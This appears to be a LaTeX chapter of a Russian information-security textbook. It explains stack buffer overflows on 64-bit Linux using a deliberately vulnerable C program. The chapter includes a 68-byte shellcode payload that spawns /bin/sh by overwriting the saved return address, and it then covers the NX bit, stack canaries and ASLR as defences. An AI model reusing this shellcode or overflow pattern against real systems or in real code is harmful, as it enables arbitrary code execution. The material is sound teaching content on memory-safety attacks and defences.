forked from vlsergey/infosec
-
Notifications
You must be signed in to change notification settings - Fork 0
/
stack_overflow.tex
170 lines (138 loc) · 16.5 KB
/
stack_overflow.tex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
\section[Переполнение буфера в стеке с исполнением кода]{Переполнение буфера в стеке с \protect\\ исполнением кода}
\selectlanguage{russian}
В качестве примера переполнения буфера опишем самую распространенную атаку, направленную на исполнение кода злоумышленника.
В 64-битовой x86\_64 архитектуре основное пространство виртуальной памяти процесса из 16 экзабайтов ($2^{64}$ байтов) свободно и только малая часть занята (выделена). Виртуальная память выделяется процессу операционной системой блоками по 4 Кб, называемыми страницами памяти. Выделенные страницы соответствуют страницам физической оперативной памяти или страницам файлов.
Пример выделенной виртуальной памяти процесса представлен в табл. \ref{tab:virtual-memory}. Локальные переменные функций хранятся в области памяти, называемой стеком.
\begin{table}[h!]
\centering
\caption{Пример структуры виртуальной памяти процесса\label{tab:virtual-memory}}
\resizebox{\textwidth}{!}{ \begin{tabular}{r|c|}
\multicolumn{2}{c}{Адрес ~~~~~~~~~~~~~~ Использование} \\
\cline{2-2}
\texttt{0x00000000 00000000} & \\
& \\
\cdashline{2-2}
\texttt{0x00000000 0040063F} & \multirow{2}{*}{\parbox{6cm}{Исполняемый код, динамические библиотеки}} \\
& \\
\cdashline{2-2}
& \\
& \\
& \\
\cdashline{2-2}
\texttt{0x00000000 0143E010} & \multirow{2}{*}{Динамическая память} \\
& \\
\cdashline{2-2}
& \\
& \\
& \\
\cdashline{2-2}
\texttt{0x00007FFF A425DF26} & \multirow{2}{*}{Переменные среды} \\
& \\
\cdashline{2-2}
& \\
& \\
& \\
\cdashline{2-2}
\texttt{0x00007FFF FFFFEB60} & \multirow{2}{*}{Стек функций} \\
& \\
\cdashline{2-2}
& \\
& \\
\texttt{0xFFFFFFFF FFFFFFFF} & \\
\cline{2-2}
\end{tabular} }
\end{table}
Приведем пример переполнения буфера в стеке\index{стек}, которое дает возможность исполнить код, для 64-разрядной ОС Linux. Ниже приводится листинг исходной программы, которая печатает расстояние Хэмминга для векторов $b1 = \text{\texttt{0x01234567}}$ и $b2 = \text{\texttt{0x89ABCDEF}}$.
\begin{verbatim}
#include <stdio.h>
#include <string.h>
int hamming_distance(unsigned a1, unsigned a2, char *text,
size_t textsize) {
char buf[32];
unsigned distance = 0;
unsigned diff = a1 ^ a2;
while (diff) {
if (diff & 1) distance++;
diff >>= 1;
}
memcpy(buf, text, textsize);
printf("%s: %i\n", buf, distance);
return distance;
}
int main() {
char text[68] = "Hamming";
unsigned b1 = 0x01234567;
unsigned b2 = 0x89ABCDEF;
return hamming_distance(b1, b2, text, 8);
}
\end{verbatim}
Вывод программы при запуске:
\begin{verbatim}
$ ./hamming
Hamming: 8
\end{verbatim}
При вызове вложенных функций вызывающая функция выделяет стековый кадр для вызываемой функции в сторону уменьшения адресов. Стековый кадр в порядке уменьшения адресов состоит из следующих частей:
\begin{enumerate}
\item Аргументы вызова функции, расположенные в порядке уменьшения адреса (за исключением тех, которые передаются в регистрах процессора).
\item Сохраненный регистр процессора \texttt{rip} внешней функции, также называемый адресом возврата. Регистр процессора \texttt{rip} содержит адрес следующей инструкции для исполнения. При входе во вложенную функцию адрес инструкции текущей функции запоминается в стеке, в регистре записывается новое значение адреса первой инструкции из вложенной функции, а по завершении функции регистр восстанавливается из стека, и, таким образом, исполнение возвращается назад.
\item Сохраненный регистр процессора \texttt{rbp} внешней функции. Регистр процессора \texttt{rbp} содержит адрес сохраненного регистра \texttt{rbp} в стековом кадре вызывающей функции. Процессор обращается к локальным переменным функций по смещению относительно регистра \texttt{rbp}. При вызове вложенной функции регистр сохраняется в стеке, в регистр записывается текущее значение адреса стека (\texttt{rsp}), а по завершению функции регистр восстанавливается.
\item Локальные переменные, как правило расположенные в порядке уменьшения адреса при объявлении новой переменной (порядок может быть изменен в результате оптимизаций и использования механизмов защиты, таких как Stack Smashing Protection в компиляторе GCC).
\end{enumerate}
Адрес начала стека, а также, возможно, адреса локальных массивов и переменных выровнены на границу параграфа в 16 байтов, из-за чего в стеке могут образоваться неиспользуемые байты.
Если в программе есть ошибка, которая может привести к переполнению выделенного буфера в стеке при копировании, есть возможность записать вместо сохраненного значения регистра -- \texttt{rip} новое. В результате по завершении данной функции исполнение начнется с указанного адреса. Если есть возможность записать в переполняемый буфер исполняемый код, а затем на место сохраненного регистра \texttt{rip} адрес на этот код, то получим исполнение заданного кода в стеке функции.
На рис. \ref{fig:stack-overflow} приведены исходный стек и стек с переполненным буфером, из-за которого записалось новое сохраненное значение \texttt{rip}.
\begin{figure}[h!]
\centering
\includegraphics[width=0.95\textwidth]{pic/stack-overflow}
\caption{Исходный стек и стек с переполнением буфера\label{fig:stack-overflow}}
\end{figure}
Изменим программу для демонстрации, поместив в копируемую строку исполняемый код для вызова \texttt{/bin/sh}.
{ \small
\begin{verbatim}
...
int main() {
char text[68] =
// 28 байтов исполняемого кода
"\x90" "\x90" "\x90" // nop; nop; nop
"\x48\x31" "\xD2" // xor %rdx, %rdx
"\x48\x31" "\xF6" // xor %rsi, %rsi
"\x48\xBF" "\xDC\xEA\xFF\xFF"
"\xFF\x7F\x00\x00" // mov $0x7fffffffeadc,
// %rdi
"\x48\xC7\xC0" "\x3B\x00\x00\x00" // mov $0x3b, %rax
"\x0F\x05" // syscall
// 8 байтов строки /bin/sh
"\x2F\x62\x69\x6E\x2F\x73\x68\x00" // "/bin/sh\0"
// 12 байтов заполнения и 16 байтов новых
// значений сохраненных регистров
"\x00\x00\x00\x00" // не занятые байты
"\x00\x00\x00\x00" // unsigned distance
"\x00\x00\x00\x00" // unsigned diff
"\x50\xEB\xFF\xFF" // регистр
"\xFF\x7F\x00\x00" // rbp=0x7fffffffeb50
"\xC0\xEA\xFF\xFF" // регистр
"\xFF\x7F\x00\x00" // rip=0x7fffffffeac0
;
...
return hamming_distance(b1, b2, text, 68);
...
}
\end{verbatim} }
Код эквивалентен вызову функции \texttt{execve(``/bin/sh'', 0 0)} через системный вызов функции ядра Linux для запуска оболочки среды \texttt{/bin/sh}. При системном вызове нужно записать в регистр \texttt{rax} номер системной функции, а в другие регистры процессора - аргументы. Данный системный вызов с номером \texttt{0x3b} требует в качестве аргументов регистры \texttt{rdi} с адресом строки исполняемой программы, \texttt{rsi} и \texttt{rdx} с адресами строк параметров запускаемой программы и переменных среды. В примере в \texttt{rdi} записывается адрес \texttt{0x7fffffffeadc}, который указывает на строку \texttt{``/bin/sh''} в стеке после копирования. Регистры \texttt{rdx} и \texttt{rsi} обнуляются.
На рис. \ref{fig:stack-overflow} приведен стек с переполненным буфером, в результате которого записалось новое сохраненное значение \texttt{rip}, указывающее на заданный код в стеке.
Начальные инструкции \texttt{nop} с кодом \texttt{0x90} означают пустые операции. Часто точные значения адреса и структуры стека не известны, поэтому злоумышленник угадывает предполагаемый адрес стека. Вначале исполняемого кода создается массив из операций \texttt{nop} с надеждой, что предполагаемое значение стека, то есть требуемый адрес rip, попадет на эти операции, повысив шансы угадывания. Стандартная атака на переполнение буфера с исполнением кода также подразумевает последовательный перебор предполагаемых адресов для нахождения правильного адреса для \texttt{rip}.
В результате переполнения буфера в примере по завершении функции \texttt{hamming\_distance()} начнет исполняться инструкция с адреса строки \texttt{buf}, то есть заданный код.
\subsection{Защита}
Самый лучший способ защиты от атак переполнения буфера -- создание программного кода со слежением за размером данных и длиной буфера. Однако ошибки все равно происходят.
Существует три стандартных способа защиты от исполнения кода в стеке в архитектуре x86.
\begin{enumerate}
\item Все 64-разрядные x86 процессоры включают поддержку NX-бита (non-execution)\index{NX-бит}. В таблице виртуальной памяти, выделенной процессу, каждая страница маркирована битом, называемым NX-битом и указывающим на то, может ли данная страница памяти содержать исполняемый код или нет. Преобразование адресов из виртуальных в адреса физической памяти выполняется процессором на основании таблицы виртуальной памяти процесса. Процессор, считывая в том числе значение NX-бита, запрещает исполнение кода из страниц данных и вызывает критическую ошибку сегментирования (segmentation fault).
Последние версии ядер ОС поддерживают маркирование страниц выделяемой памяти. Маркирование производится исходя из того содержит страница памяти исполняемый код программы или нет. Приведенный выше пример исполнения кода в стеке не будет работать в 64-битовой ОС Linux последних версий при стандартных настройках.
%Тем не менее, есть программы, динамически формирующие код во время выполнения для которых NX-бит не используется
\item Второй стандартный способ -- вставка проверочных символов (называемых canaries, guards) после массивов и в конце стека и их проверка перед выходом из функции. Если произошло переполнение буфера, программа аварийно завершится.
\item Третий способ -- рандомизация адресного пространства (Address Space Layout Randomization, ASLR), то есть случайное расположение стека, кода и т.д. В настоящее время используется в большинстве современных операционных систем (OpenBSD, Linux, Windows). Это приводит к маловероятному угадыванию адресов и значительно усложняет использование уязвимости.
\end{enumerate}
\subsection{Другие атаки с переполнением буфера}
Почти любую возможность для переполнения буфера в стеке или динамической памяти можно использовать для получения критической ошибки в программе из-за обращения к адресам виртуальной памяти, страницы которых не были выделены процессу. Следовательно, можно проводить атаки отказа в обслуживании (denial of service (DoS) атаки).
Переполнение буфера в динамической памяти в случае хранения в ней адресов для вызова функций может привести к подмене адресов и исполнению другого кода.
В описанных DoS-атаках NX-бит не защищает систему.